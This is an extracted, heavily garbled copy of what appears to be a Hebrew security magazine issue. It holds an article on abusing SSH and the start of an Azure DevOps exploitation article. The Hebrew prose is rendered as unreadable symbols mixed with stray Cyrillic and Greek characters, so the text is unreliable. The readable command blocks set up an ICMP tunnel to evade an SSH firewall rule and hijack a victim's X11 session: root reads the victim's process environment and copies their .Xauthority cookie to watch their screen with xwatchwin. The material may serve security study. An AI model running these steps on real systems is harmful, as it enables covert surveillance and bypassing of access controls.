˶˵˞ˢ .˥˧˷˵ˢ˪ˣ ˸ˣ˷˵ˢ˪ ˞˧ˢ ˢ˥˦˟˞˟ ˢ˶˦ˬˢ ˨˞ ,ˣ˸˟ˣ˦˪ ˪˴ˮ˪ˣ ˸ˣ˪ˠ˪ ˪˩ˣ˧ 

˸ˬ˵ˢ˪ ˶ˣˤ˥ˮ s-ICMP Tunnelˢˬ˩ ˷˧ , ˣˮ˩ˣ˸ ˢˬ˩ˣ ˫˧˩˶ˡ,ˣˮ˪ ˶ˣˤ˰˪ ˸ˣ˪ˣ˩˧˷ ˸  ˷ˬˬ˪ ˪˩ˣˮ˷ ˭˟ˣˬ˩ˣ

 ˭ˣˠ˩ ˶ˤ˰ ˸ˣ˪˧˟˥ˣ ˡˣ˵ ˸˴˵ ˸˶ˤ˰˟ ˸˞ˤScapy.  ˨˶ˡ˟ ˧˸˶˥˟˫˩˪ ˠ˧˴˞ ˢ˸ˣ˞˷  ˭ˣˣ˧˩ˬ˞˧˷  ˭ˣ˷˞˶ˢ ˶˟ˡˢ

 ˫˧˵ˢ˪ ˶˸ˣ˧ ˢ˦ˣ˷˲ ˨˶ˡ ˧˸˧˞˶ ˫ˠ ˩"˥˞ ,˧˸˞˴ˬ˷Tunnel ˞˧ˢ˷ ˭ˣˣ˧˩ˬ ˣˤˢ ˨˶ˡˢ ˸˞ ˟ˢˣ˞ ˧ˮ˞ ˪˟˞ ,

 ˸˴˵ ˫ˠ ˣˮ˪ ˸ˮ˸ˣˮˢ˪ˣ˰˲ˢ ˧˩˶ˡ ˸˞ ˭˧˟ˢ˪: 
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¶  ˣˮ˞ ˣ˧˪˞ ˳ˣ˥˟ˬ ˟˷˥ˬˢˣ ˭ˣˠ˶˞ˢ ˨ˣ˸˟ ˟˷˥ˬˢ ,˫˧ˡˡ˴ˢ ˧ˮ˷ ˪˰ ˸ˣ˷˰˪ ˨˶˦˴ˮ˷ ˭ˣ˷˞˶ ˶˟ˡ

 ˸ˣ˷˵˟ ˪˞ ˸ˣ˟ˣ˷˸ ˪ˮ˶˵˟ ˪˦˟˪ ˞ˣˢ ,˫˧˶˟˥˸ˬICMP-echo Type 8 ˡˣ˵˲˸˪ ˣ˰˧˶˲˧ ˞˪˷ ˪˧˟˷˟ s-

Tunnel ˫˧˷ˬ˸˷ˬ ˣˮ˞ ˢˤˢ ˷ˣˬ˧ˬ˟) ˟-Echo type 8( 

¶  ˸˞ ˪˲ˬ˵ˮˣ ˡ˧˶ˣˮ ˭˩ˬ ˶˥˞˪˦˵˧ˣ˶˲ˢ 

¶  ˪˷ ˢˬ˧˯˥ˢ ,˭˧ˤ˞ˬˢ ˸˞ ˪˧˥˸ˮ ˸˶˷ˢ ˡ˴˟ssh ˟-iptables ˢ˥˩ˣˢˢˣ ˢˬˠˣˡˢ ˨˶ˣ˴˪ ˵˶ ˞˧ˢ 

¶ " ˱˯ˣˣ˸ˢ˷ ˯˧˧˲˶˦ˮ˧˞ˢ ˧˟ˠ ˪˰ ˷ˡ˥ ˧˲˧˧˞ ˸˶˷˪ ˶˧ˡˠˮtun0ˢ˪˰ˬ˪ ˣ˸ˣ˞ ˫˧˶ˮˣ " 

¶ ˸˞ ˫˧˶ˢ˪ ˞ˣˢ ˸ˣ˷˰˪ ˣˮ˪ ˶˞˷ˮ˷ ˢˬ ˦ˮ˧˧˪˵ˢ ˡ˴˟ s-Tunnel  ˶˧ˡˠˢ˪ ,˸˶˷ˢ ˸˟ˣ˸˩ ˫˰ ˡ˥˧˟

ˢ ˯˧˧˲˶˦ˮ˧˞˪ ˧˲˧˧˞" ˷ˡ˥tun0˷ˬ˸˷ˢ˪ˣ " ˟-ssh ˢ˸ˣ˞ ˨˶ˡ s-Tunnel 

On both  sides :  

 

sudo  - i  

 

echo  1 > / proc / sys / net / ipv4 / icmp_echo_ignore_all  

 

git  clone  https :// github.com / jamesbarlow / icmptunnel.git  

 

cd  icmptunnel /  

 

make 

 

On server side:  

iptables  - I  INPUT - s <client - IP > - p tcp  -- dport  ssh  - j  REJECT 

./ icmptunnel  - s & 

ip  addr  add  10. 0. 0. 1/ 24 dev  tun0  

ip  link  set  dev  tun0  up 

 

On client side:  

./ icmptunnel  <server - ip > & 

ip  addr  add  10. 0. 0. 2/ 24 dev  tun0  

ip  link  set  dev  tun0  up 

ssh  10. 0. 0. 1 

 ˪˩ˣˮ ,˸ˣ˪˟ˠˣˬ ˧˸˪˟ ˭ˢ ˸ˣ˧ˣ˶˷˲˞ˢ ˭˞˩˷ ˭˟ˣˬ˩˧ˠˣ˯ ˪˩˟ ˷ˬ˸˷ˢ˪ s-Tunnels  ˪˷ssh  ˸˶˷ ˫˧˶ˢ˪ˣ

sshd .ˣˮ˪ ˱ˣ˵˷ ˭˲ˣ˞˟ ,˦ˮ˧˧˪˵ˢ ˡ˴ ˪˰ ˪˰˶ˣˬ 

 

VPN over SSH - sshuttle 

 ˪˞ ˢˬˣˡ˟Dynamic tunnel  ˪˷sshd  ,˸ˮ˲˴ˣˬ ˢ˶ˢˮˬ ˨˶ˡ ˸ˬ˧ˣ˯ˬ ˢˮ˩ˣ˸ ˪˷ ˰ˡ˧ˬ ˶˧˟˰ˢ˪ ˣˮ˪ ˸ˮ˸ˣˮˢ

 ˷ˬˬ˪ ˫ˠ ˪˩ˣˮSSH VPN ˞˪ ˸ˬ˧ˣ˯ˬ ˢˮ˩ˣ˸ ˶˷˞˩ ˸˞ˤ ˢ˴˶ˮ . ˟˸ˮ˪ ˪˩ˣˮ ˞˪ˣ ˧˯˵ˣ˶˲ ˸˶ˡˠˢ˟ ˸˩ˬˣ˸

 ˨˶ˡ ˸˧˲˧˴˲˯ ˢˮ˩ˣ˸ ˶˧˟˰ˢ˪ ˣˮ˥˩˷˷ ˸ˣ˧ˣ˰˦ˬ ˣˮˬ˴˰ ˪˰ ˶ˣˬ˷˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞˷ ˣ˞ ,ˢ˪˷ ˢ˶ˣ˟˰˸ˢ ˸˞

ˢ˸ˣ˞ s-Tunnel. 
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 ˧˵ˣ˥ ˱˧˯ˣˢ˪ ˨˶˦˴ˮ ˣ˪˞ˢ ˫˧˶˵ˬˢ ˪˧˟˷˟iptables ,˫˧˵ˣ˥ˢ ˫˸ˣ˞ ˸˞ ˣˮˬ˴˰˟ ˱˧˯ˣˢ˪ˬ ˰ˮˬ˧ˢ˪ ˪˧˟˷˟ˣ ,

ˣˮˣ˶˸˲ˢ ˢˬ˩ˬ ˡ˥˞˟ ˷ˬ˸˷ˢ˪ ˪˩ˣˮ ˸ˬ˵ˢ ˪˷ ˸VPN  ˧˟ˠ ˪˰SSH. 

:ˢˬˠˣˡ˪ 

sudo  - i  

apt  install  sshuttle  

sshuttle  - r  user @<remote - ip > 0. 0. 0. 0/ 0 -- dns  - x <remote - ip > 

 
 

X11 Forward 

X11-Forward ˢˮ˧ˢ  ˶˧˟˰ˢ˪ ˨˶ˡ ˪˷ ˷ˬˬ ˸˶ˣ˷˵˸ ˧˟ˠ ˪˰ ˸ˣ˧˲˶ˠ ˸ˣˮ˩ˣ˸ssh ˢˮ˩ˣ˸ˢˬ ˡ˟˰ˬˢ ˪ˣ˴˧ˮ .

 ,˵˥ˣ˶ˬˢ ˟˷˥ˬˢ ˧˟ˠ ˪˰ ˢ˷˰ˮ.ˢˮ˩ˣ˸ˢ ˢ˸ˣ˞ ˪˷ ˧˲˶ˠˢ ˭ˣ˪˥ˢ ˸˞ ˪˟˵˧ ˷ˬ˸˷ˬˢˣ 

 ˨˶ˡˣ ,ˣˮ˧˪˞ ˢ˷˧ˠ ˨˧˶˴ ˞ˣˢ ,˷ˡ˥ ˭ˣ˪˥ ˥ˣ˸˲˪ˣ ˣˮ˪˷ ˟˷˥ˬˢ ˪˞ ˸˷ˠ˪ ˪˩ˣ˧ ˵˥ˣ˶ˬˢ ˟˷˥ˬˢ˷ ˪˧˟˷˟

 ˫ˠ ˢ˷˧ˠˢ ˢ˸ˣ˞ˢ˶˵˞ˢ .˸ˣ˵˲˯ˬ ˸ˣ˞˷˶ˢ ˣ˪ ˷˧˷ ˢ˥ˮˢ˟ ,˸˷ˠ˪ ˪˩ˣ˧ 

ˢ ˸ˣˮ˷ˬ ˸˶˩ˣˬ ˢ˧˰˟ˢ-флΩ ˧ˬ ˠ˧˴ˬ ˦ˣ˷˲ ˧ˮ˞ ,ˢ˷ˡ˥ ˞˪ ˷ˬˬ ˞˧ˢ ,˧ˮ˲˪ ˣ˞.ˢ˪˷ ˷ˣˬ ˷ ˧˲˩-sman 

page  ˪˷ssh ˭˧˧˴ˬ: 

 

 ˪ˠˡˢ ˶˴ˣˮ ,ˢ˥˦˟˞ˢ ˸˧˧˰˟ ˡˠˮ˩˷ ˸ˣ˞˶˪ ˶˷˲˞Y-  ˪˞ ˸ˣ˪˟ˠˢ ˱˧˯ˣˬ˷X11 forwarding. 

ˢ ˢ˞˟ˢ ˢˬˠˣˡ˟˶˵˞ˢ :ˢ˥˦˟˞ ˸˧˧˰˟ ˢ˸ˣ˞ ˨˶ˡ ˷ˬ˸˷ˬˢ ˨˯ˬ˟ ˢ˲˴˧ 

¶  ˪ˠˡˢ ˫˰ ˸˶˷ˢ ˪˞ ˶˟˥˸ˬ ˷ˬ˸˷ˬˢX- 

¶ s˶˵˞ˢ  ˫˰ ˫ˠˣ ,˸˶˷ˢ ˪˞ ˞ˣˢ ˫ˠ ˶˟˥˸ˬX- ˪˩ˣ˧˷ ˪˧˟˷˟ ˣ˪˴˞ ˷ˬ˸˷ˬˢ ˨˯ˬ ˸˞ ˠ˧˴ˢ˪ 

¶ ˢ ˶ˣ˸˟˶˵˞ˢ ˢˮ˩ˣ˸ˢ ˸˞ ˡ˧˶ˣˮ ,˸ˣ˧ˣ˪˸ ˢˬ˩ ˭˧˵˸ˮ ˸ˣ˶˟˥˸ˢˢ ˶˥˞˪ ,xwatchwin ˢ˸ˣ˞ ˪˲ˬ˵ˮˣ 

¶  ˢˮ˸˷ˬˢ ˪˷ ˨˶˰ˢ ˸˞ ˷˲˥ˮ ,˷ˬ˸˷ˬ ˷ˬ˸˷ˬˢ "˦˶ˣ˲" ˢˤ˧˞˟ ˭˧˟ˢ˪ ˨˶˦˴ˮ ˭˩ˬ ˶˥˞˪DISPLAY 

¶  ˸˞˶˵ˮˢ :) "ˢˬ˯˧˯"ˢ ˸˞ ˣ˪ ˟ˣˮˠ˪ ˶˞˷ˮCookie ˳˟ˣ˵ˢ ˨ˣ˸˟ ˢˬˣ˷˶˷ (Xauthority ˸˧˧˵˧˸˟ .

˷ˬ˸˷ˬˢ ˪˷ ˸˧˟ˢ 

¶  ˸˞ ˪˧˰˲ˢ˪ˣxwatchwin ˨˯ˬ ˸˞ ˷˵˟ˮˣ ,ˢ˪˰ˬ˪ ˣˮ˞˴ˬ˷ "˦˶ˣ˲"ˢ ˫˰ ˡ˥˧˟ s-root ˣ˪˷ 

Client  side :  

ssh  - X user @compromised.server.ip.address  

 

 

Hacker  side:  
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ssh  - X root @compromised.server.ip.address  

 

apt  update  

apt  install  - y  xutils - dev  libx11 - dev  libxext - dev  

wget  http :// www.ibiblio.org / pub / X11/ contrib / utilities / xwatchwin.tar.gz  

tar  xf  xwatchwin.tar.gz  

cd  xwatchwin  

xmkmf 

make 

 

pgrep  - u user  bash  |  xargs  - IPID  cat  / proc / PID / environ  

cat  / home/ user /. Xauthority  >> ~/. Xauthority  

./ xwatchwin  localhost : 10. 0 root  

 
ˢ ˸ˮˣ˩ˬ˟ ˣˮ˪˴˞ ˷ˬ˸˷ˬˢ ˪˷ ˨˯ˬˢ ˸˞ ˣˮ˪˟˧˵ˣ˶˵˞ˢ. 

 ˪˷ ˫˧˷ˣˬ˧ˬ ˫ˠ ˫ˮ˷˧Keyloggers  ˟˷˥ˬ ˪˞ ˢ˷˧ˠ ˸ˬ˧˧˵ ˪ˣˡˠ˟ .˷ˬ˸˷ˬˢ ˪˞ ˶˧ˡ˥ˢ˪ ˶˷˲˞˷

.˸ˣ˧˶˷˲˞ ˫ˠ ˸ˣ˲˯ˣˮ ˸ˣ˲˧˵˸˷ ˨˩ ˷ˬ˸˷ˬˢ 

  



 
 

Secure SHell in Unsecure System 
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠмос, ˶˞ˣ˶˟˲ нлнн  нф 
 

˫ˣ˩˧˯ 

ssh ˢ˧˪˰ ˫˧˧ˣˮ˟ ˫˧˶˧˷˩ˬˣ ˸ˣ˧ˠˣ˪ˣˮ˩˦ ,˸ˣˮˣ˩ˬ ˢ˟˶ˢ .ˢˢˣ˟ˠ ˡˣ˞ˬ ˢ˥˦˟˞ ˫˰ ,˸˶ˡˢˮ ˢˮ˩ˣ˸ ˣˤ 

 ˣˬ˩ ,ˢ˟ ˫˧˷ˬ˸˷ˬˣAnsible ˸ˣˮˣ˶˸˲ ,˫˧˶˦ˣ˞˶ ,Monitoring˪˩ ˫˴˰˟ˣ , s-Unix-based cloud. 

˞ ˧ˮ ˸˧˷˧˞ ˷˧˞ ˶˧˩ˬSystem  ˸˞ ˣ˪˷ ˸˧˟˟ ˵˧ˤ˥ˬ˷sshd ˶˟˥˸ˢ˪ ˪˩ˣ˧˷ ˧ˡ˩ ,˫˧˴ˣ˲ˮ ˫˧˦˶ˣ˲ ˢ˟˶ˢ ˪˰ 

 ˸ˣˢˤ˪ ˫˧˶ˣˬ˞ ˣ˧ˢ˧ ˫˧˟˧˦˵˧˪˲˞ ˫˧˪ˣˣ˶˧˧˲˷ ˭˟ˣˬ˩ .˧˦˪ˣ˲˧ˡˢ ˦˶ˣ˲ˢ ˸˞ ˫˧ˬ˯ˣ˥˷ ˫˧ˮˣˠ˶˞ ˨ˣ˸ˬ ˸˧˟˪

 ˪ˣ˵ˣ˦ˣ˶˲ ˸˞SSH  ˪˷ ˷ˣˬ˧ˬ ˣˮ˧˞˶ ˨˞ ,ˣ˸ˣ˞ ˫ˣ˯˥˪ ˸˞ˤ ˪˩˟ˣICMP Tunnel  ˪˷ ˣ˲ˣ˯˟ .˫˸ˣ˞ ˫ˠ ˱ˣ˵˰˧˷

 ˢ˞˧˴˧ ˧ˢ˷ˣˤ˧˞ ˷˧ ˫˞ ˶˟ˡ˶ˣ˟˧˥˪ ˰ˡ˧ˬ ˠˣ˯ ˪˩ ˞˧˴ˣˢ˪ ˭˸˧ˮ ˢ˧ˢ˧ ˭ˣˠ˶˞ˬ ˢ˴ˣ˥ˢ ˣ˞) ˳˟ˣ˵ ˥˵˧ˮ ˫˞ .

Tunnel ˫˸ˣ˞ ˶˧ˬˮ ,(-˪ASCII ˨ˣ˸˟ ˰ˡ˧ˬˢ ˸˞ ˥˪˷ˮˣ ,Headers ˫˧ˮˣ˷ ˟-TCP, ˟-UDP, ˟-IP  ˪˩˟ˣ

ˣ˸˧˞ ˸˞˴˪ ˶˷˲˞˷ ˪ˣ˵ˣ˦ˣ˶˲ é.ˣˮ˸ˣ˞ ˶ˣ˴˰˪ ˧˶˷˲˞ ˧˸˪˟ ˦˰ˬ˩ ˢ˧ˢ˧ 

-˟нлмф ˵˪˥ ˧˸˥˵˪ ˬ˦˵˧ˣ˶˲ ˷ˢ ˸˞ ˷˧˥ˬˢ ˨˧˪ˢ˸˵ˣ˶˧˲ˢ ,ˢˣ ˢ˥˧˪˷ˢ ˧˟ˠ ˪˰ ˳˟ˣ˵ ˪˷ ˢ˟˩˶

 ˫˧˪ˣ˵ˣ˦ˣ˶˲ˣ˸ˣ˞ ˞ˣ˴ˬ˪ ˶˷˲˞ .˭ˣˠ˶˞ˬ ˰ˡ˧ˬ ˠ˧˪ˤˢ˪ ˭˸˧ˮ ˫˞ˢ ˭ˣ˥˟˪ ˢ˶˦ˬ˟ ,˨˩˪ ˣˡ˰ˣˮ ˞˪˷ ˭˞˩. 

About me 

˶˸˞˟ ˸ˣ˞˶˪ ˣ˪˩ˣ˸ ,ˢ˷ˣ˰ ˧ˮ˞˷ ˫˧˶˟ˡˣ ˧˪˰ :edenberger.io 

 

˸ˣ˶ˣ˵ˬ 

¶ https://www.terminalbytes.com/sshuttle-vpn-over-ssh-vpn-alternative 

¶ https://web.archive.org/web/20140831230958κ 

¶ https://barcodereader.wordpress.com/2009/02/19/how-to-secertly-watch-in-xκ 

¶ https://stackoverflow.com/a/39802243 

¶ https://github.com/FiloSottile/whoami.filippo.io 

¶ https://labs.f-secure.com/tools/pivot-with-ping 

ˢ˞˧˶˵ ˨˷ˬˢ 

¶ https://book.hacktricks.xyz/pentesting/pentesting-ssh 

 

 

  

https://github.com/rayahazi/PingWin
https://edenberger.io/
https://www.terminalbytes.com/sshuttle-vpn-over-ssh-vpn-alternative
https://web.archive.org/web/20140831230958/
https://barcodereader.wordpress.com/2009/02/19/how-to-secertly-watch-in-x/
https://stackoverflow.com/a/39802243
https://github.com/FiloSottile/whoami.filippo.io
https://labs.f-secure.com/tools/pivot-with-ping
https://book.hacktricks.xyz/pentesting/pentesting-ssh
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Azure DevOps Exploitation 

˸˞ˬ ˶ˣ˞ ˡˣˡ ˭˸ˮˣˢ˧ˣ ˯˟˵˪˞  

 

ˢˬˡ˵ˢ 

˫ˣ˥˸ sπDevOps ˯˧ˮ˩ˬ ˣˮ˧˧˥˪ ˢ˷˧ˠ ˸˧ˮ˶ˡˣˬ ˥ˣ˸˧˲˪ ˡˣ˵ ˪˰ˬˣ ˪˩˪ ˢˣˣˢˬ ˧ˣˮ˧˷ ˧ˠˣ˪ˣˡˣ˸ˬ π ˞ˣˢ ˷˶ˣˡ 

˱ˣ˸˧˷ ˢ˪ˣ˰˲ ˵ˣˡˢ ˭˧˟ ˧˸ˣˣ˴ ˥ˣ˸˧˲ˢ Σ˧˸ˣˣ˴ ˪ˣ˰˲˸ˢ ˧˷ˮ˞ˣ ˸ˣ˵˧ˡ˟ˢ Φˣˤ ˢ˟˧˯ˢ ˰ˣˡˬ ˞˪ ˫˧˧˵ ˧˪˩ ˡˡˣ˟ 

Ϧ˷ˢ˷ˣ˰ ϦDevOps ˞˪˞ ˢ˥˲˷ˬ ˢˬ˪˷ ˪˷ ˫˧˪˩ ˸ˣ˵˧˦˵˶˲ˣ ˫˧˶˴ˣ˧˷ ˢ˧ˠ˶ˮ˧˯ ˸˲˸ˣ˷ˬ ˡˣ˥˧˞˪ ˸˧˸˷˸ˢ Σ

˸˟˧˟˯ ˥ˣ˸˧˲ˢ Σ˧˩˧˪ˢ˸ sπbuild Σ˸ˣ˵˧ˡ˟ˢ Σˢˤ˧˶˞ˢ Σ˶ˣ˶˥˷ ˸ˣ˞˯˶ˠˢ Σˠˣ˲ˮ˧˵ ˸˧˸˷˸ˢ ˰ˣ˴˧˟ˣ ˶ˣ˦˧ˮ ˶˥˞ 

˫˧ˬˣ˷˧˧ˢ ˭ˬˤ˟ ˢ˴˧˶ Φ˶ˣ˴˧˵˟ π ˡˣ˥˧˞ ˫˧ˬˣ˥˸ ˡ˰˷ ˞˪ ˭ˬˤˬ ˣ˧ˢ ˫˧ˡ˶˲ˮ ˧˶ˬˠ˪ ˪˞ ˢ˧˴˶˦˯˵˶ˣ˞ ˸˥˞Φ 

˭ˣˣ˧˩ˬ ˷˶ˡˮ˷ ˡ˥˞˪ ˸ˣ˧˶ˣˠ˦˵ ˵˷ˬˬ ˸ˣˮˣ˷ ˭˧˦ˣ˪˥˪ ύ˧˸ˬ ˫˰˲ˢ ˢˮˣ˶˥˞ˢ ˫˸˧˞˶ ˪˦˶ˣ˲ ˡ˰ˣ˧ˬ˷ ˧˷ˮ˞˪ 

IT Σ˫˧ˮ˸˧ˮ˩ˣ˸ ΣQA ˧˦˵˦˧˩˶˞ˣ ˭ˮ˰  όΚˢ˶ˡ˯ˣ ˪˷ ˸ˣ˟˧˟˯ ˸ˣˮˣ˷ π ˯ˮ˩ˮ ˢˮˣˬ˸˪ ˦˯ ˫˧˪˩ˢ ˪˷Azure 

DevOpsΦ 

Azure DevOps ˞˧ˢ ˸˶ˡ˯ ˧˸ˣ˶˧˷ ˭ˮ˰ ˫˧˪˩ˣ ˪˩˷ ˫˸ˣˢˬ ˨ˣˬ˸˪ ˶ˣˤ˥ˬ˟ ˥ˣ˸˧˲ˢ ˶˷˲˞˪ˣ ˢ˟˧˟˯ ˢˮ˧˞˷ 

ˢ˧ˣ˪˸ ˢˬ˶ˣ˲˦˪˲˟ Σ˸ˣ˲˷˟ ˸ˣˮ˩˸ˢ Σ˧˸ˣ˶˧˷˟ ˭ˮ˰ˢ ˸˧˸˷˸˟ˣ ˢ˟ ˡ˟ˣ˰ ˭ˣˠ˶˞ˢ Φ 

˟ˣ˦ Σˤ˞ ˣˮ˧˷˰ ˢˠ˴ˢ ˢ˲˧ ˫ˣ˥˸˪ sπDevOps ˪xπAzure DevOps  ˦˶˲˟ Φˢˬ˪ ˣˮ˥ˮ˞ ˫˧ˬ˷ˣ˶ ˪˰ ˢˤ ˭˧ˤˠˬ˟ 

˸˥˦˟˞ ˰ˡ˧ˬ Κˢˬ˪ ˫˸˞ ˶ˣ˸˟ ˧˞˶ˣ˵ ˭˧ˤˠˬˢ ˫˧˩˧˶˴ ˞ˣ˶˵˪ ˸˞ ˢˤ ˪˪˩˟ Κˢ˟ˣ˷˸ˢ ˞˧ˢ ˢ˦ˣ˷˲ π ˸˲˯ˣˢ 

˫˧˪˩ ˫˧˷ˡ˥ ύ˦ˮˣˣ˪˶ˣ˧˫˧ όΗˤˠ˶˞˪ ˫˧˪˩ˢ Τˡ˥ˣ˧ˬ˟ ˶ˣ˞˪ ˟˴˵ ˢ˥˧ˬ˴ˢ ˪˷ Azure ˸ˣˮˣ˩ˮˢˣ ˪˷ Microsoft 

˰˧˵˷ˢ˪ ˵˪˥ ˵ˮˮˮ˰ ˸˧ˮ˩ˣ˸ˬ ˢˡˣ˟˰ˢ ˢ˪˷ ˟πнлнн ˸˧˸˷˸˪ ˭ˮ˰ˢ Φ 

˫˞ ˫˸˞ ˧˷ˮ˞ ˸˥˦˟˞ ˰ˡ˧ˬˢ π ˢˡ˧ˬ˪ ˪˰ ˢˬ˶ˣ˲˦˪˲ ˸˯˲ˣ˸˷ ˢ˴ˣ˞˸ ˫˪ˣ˰˟ ˥ˣ˸˧˲ˢ ˢˤ ˡ˧ˬ˸ ˧˦ˮˣˣ˪˶ Σ

˫˞ˣ ˫˸˞ ˧˷ˮ˞ ˥ˣ˸˧˲ π ˡˣˬ˪˪ ˪˰ ˫˧ˮˣ˩˧˯ˢ ˫˧˩ˣ˶˩ˢ ˪ˣˢ˧ˮ˟ ˞˪ ˭ˣ˩ˮ ˪˷ ˢ˟˧˟˯ˢ ˞ˣˢ ˡ˰˴ ˭ˣ˟ˮΦ 
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ˤ˞ ˢˬ ˣˮ˥ˮ˞ ˫˧˩˪ˣˢ ˠ˧˴ˢ˪ ˫˩˧ˮ˲˟Κ ˢ˶˴˵˟ π ˪˩ˢ ˪˩ˢˬ  Φ˶ˬ˞ˬˢ ˵˪˥˸ˬ ˪πн Υ˵˪˥ ˦˶ˣ˲ˬ ˪˰ ˪ˣ˰˲˸ 

ˢˬ˶ˣ˲˦˪˲ˢ ύ˫˪ˣ˰ˣ ˥ˣ˸˧˲ˢ ό˵˪˥ˣ ˢ˞˶ˬˢ ˪ˣ˴˧ˮ ˢ˪˷ Φ˸˧˷˞˶ ˪˧˥˸ˮ ˯˧˯˟ˢˬΥ ˢˬ ˫ˢ ˫˧˟˧˩˶ˢ ˫˧˰ˮˢ ˷π

Azure DevOps ˸˟˩˶ˣˬ ˫ˢˬ Σˢˬ ˫˸˶˦ˬ ˡ˴˧˩ˣ ˭˸˧ˮ ˡˣ˟˰˪ ˫˰ ˪˩ ˡ˥˞ ˫ˢˬ Φ˥˸ˮˮ ˢˬˠˣˡ ˸˪˪ˣ˩ ˡ˴˧˩˪ 

ˢ˞˶ˮ ˨˧˪ˢ˸ ˨ˬˣ˸ ˥ˣ˸˧˲ ˸ˣ˰˴ˬ˞˟ ˫˸ˣ˞ ˫˧˪˩ ˫˧˸ˣ˶˧˷ˣ Τ˱ˣ˯˟˪ˣ ˯ˮ˩ˮ ˧˟ˣ˰˪ ˢ˶ˣ˵ˢ ˪˩˟ ˢˬ ˶ˣ˷˵˷ 

˸˲˧˵˸˪  ˢ˟˧˟˯ˢ ˠ˧˴ˮˣ ˸ˠ˷ˢ RCE ˪˰ ˧˸˶˷ ˢˬ˶ˣ˲˦˪˲ˢ π ˸ˣ˰˴ˬ˞˟ ˸˞˪˰ˢ webshell Σ˸˶˧˴˧ pipelineπ

˫˧ ˫˧ˮˣ˷ ˫ˮˬˣ˞˷ ˫˧˞˶ˮ ˫˧ˬ˧ˬ˸ ˪˟˞ ˧˶ˣ˥˞ˬ ˫˧˰˪˵ˢ ˫˧˵˲˯ˬ ˣˮ˪ reverse shell ˢ˦˧˪˷ˣ ˢ˞˪ˬ ˪˰ 

ˢˮˣ˩ˬˢΦ 

 

ˢˬ˪ ˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˸˞ ˢˤ ˪˪˩˟ π ˫˧˷ˣˡ˧˥ ˸ˣ˵ˤˣ˥ˣ ˪˷Azure DevOps  

Azure DevOps ˢ˞˧˟ˬ ˢˬ˧˰ ˞˞˞˪ˬ ˸ˣˮˣ˶˸˧ Σ˫˧˪˪ˣ˩ˢ ˸ˣ˪ˣ˩˧ ˢ˥˦˟˞ Σˢ˧˴ˬˣ˦ˣ˞ ˸ˣ˪ˣ˩˧ˣ ˪ˣˢ˧ˮ ˡˣ˵ Φ˫˸˞ 

˸ˣˣ˴˟ ˥ˣ˸˧˲ˢ ˯˞ˬˮˣ ˫˩˪ ˧˷ˮ˞˷ ˦˵˞ˡˣ˶˲ˢ ˞˪ ˫˧˞ˣ˶ ˸˞ ˥ˣ˪ ˸ˣˬ˧˷ˬˢ ˫˩˪˷ ˫˧˰˟ˣ˵ˣ ˫˧ˡ˰˧ ˞˪ 

˫˧˧ˮˣ˧ˠˢ Κ˫˸˞ ˧˷ˮ˞ devops ˯˞ˬˮˣ ˫˩˪ ˸ˣˣ˴˷ ˥ˣ˸˧˲ˢ ˣ˪˧˲˞ ˞˪ ˥˶ˣ˦ ˪˩˸˯ˢ˪ ˪˰ ˨˧˞ ˫˧ˠ˲ˮˣ˵ˬ ˧˩˧˪ˢ˸ 

ˢ˧˴ˬˣ˦ˣ˞ˢ ˸˲˧˥ˡ˪ ˭ˣ˩ˡ˰ ˡˣ˵˪ ˶ˣ˵ˬ Κ˫˸˪˟˧˵ ˸ˬ˧˷ˬ QA ˢ˪˲ˮ˷ ˟˪˷˟ ˸ˣ˵˧ˡ˟ˢ ˫˸˞ˣ ˫˧˴ˣ˶ ˸ˣ˞˶˪ 

˸˞ ˫˧ˠˣ˪ˢ ˪˷ ˢ˪˧˲ˮˢ Κ˷˧ ˟˴ˬ ˢˣˣ˷˷ ˫˩˪ ˪˩˸˯ˢ˪ ˪˰ Azure DevOps Φ 

ˣ˞ˣ˟ ˶˟ˡˮ ˯ˮˤ˧˟ Σˢ˪˞ ˸ˣˮˣ˶˸˧ˢ ˫˧˧ˤ˩˶ˬˢ ˢˬ˶ˣ˲˦˪˲ˢ˷ ˢ˰˧˴ˬ ˷ˬ˸˷ˬ˪ ˦ˣ˷˲ˢΥ 

¶ ˸˞˪˰ˢ ˡˣ˵ ˢ˧˧˵ˮ ˰Ϧ˧ ˟ˣ˪˧˷ ˫˧˪˩ˢ ˫˧˷ˠˮˣˬˢ ˢˬ˶ˣ˲˦˪˲˟ ˫˧˩˧˪ˢ˸ˢˣ ˭ˮ˰˟Φ 

¶ ˫˧ˠˣ˪ ˫˧ˠˣ˪ ˫˧ˠˣ˪ π ˶ˣ˦˧ˮ ˫ˣ˷˧˶ˣ ˫˧˰ˣ˶˧˞ ˪˷ ˫˧˩˧˪ˢ˸ ˸ˣ˪ˣ˰˲ˣ ˸ˣ˶˷˲˞ˬˢ ˱˵˷˪ ˸˞ ˫˧˩˧˪ˢ˸ˢ 

˭ˬˤ˟ ˸ˬ˞ Τ˪˪ˣ˩ ˸ˣ˧˰˟ ˫˧˰ˣ˴˧˟ Σ˸ˣ˧˰˟ ˡˣ˵˟ ˣ˩ˣ ϥˣ˩ˣ Φϥ 

¶ ˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˟πAzure DevOps ˫ˠ ˸ˣ˟˧˟˯˟ AWS xπGoogle CloudΦ 

¶ ˶˷˲˞ˬ ˷ˣˬ˧˷ ˟πIaC ύ (Infrastructure as Code˸ˣ˰˴ˬ˞˟  ARM templates ˨˩˟ˣ ˨ˣ˲ˢ˪ ˸˧˸˷˸ˢ 

ˡˣ˵˪ ˪ˢˮ˪ˣ ˸˞ ˸˟˧˟˯ ˥ˣ˸˧˲ˢ ˸ˣ˵˧ˡ˟ˢˣ ˭˲ˣ˞˟ ˪˧˰˧Φ 

¶ ˢˬ˶ˣ˲˦˪˲ˢ ˸˲˸ˣ˷ˬ ˪˩˪ ˸ˣˣ˴ ˥ˣ˸˧˲ˢ ˸˶˷˲˞ˬˣ ˢˡˣ˟˰ ˪˧˟˵ˬ˟ ˪˰ ˧˟ˠ ˣ˸ˣ˞ ˨˧˪ˢ˸ 

¶ ˧ˬ ˰ˠˮ ˢˮ˧˟ˠ˟ ˧˪˷ Κ˸ˣ˧ˮ˧ˡˬ ˢ˥˦˟˞ Σ˪ˣˢ˧ˮ ˸ˣ˞˷˶ˢ ˸ˣˢˡˤˢˣ ˸ˣ˪˪ˣ˩ˢ ˸ˣ˶˵˟ ˶ˣ˦˧ˮ ˶˥˞ ˧˩˧˪ˢ˸ ˡˣ˵ 

˧˩˧˪ˢ˸ˣ deployment 

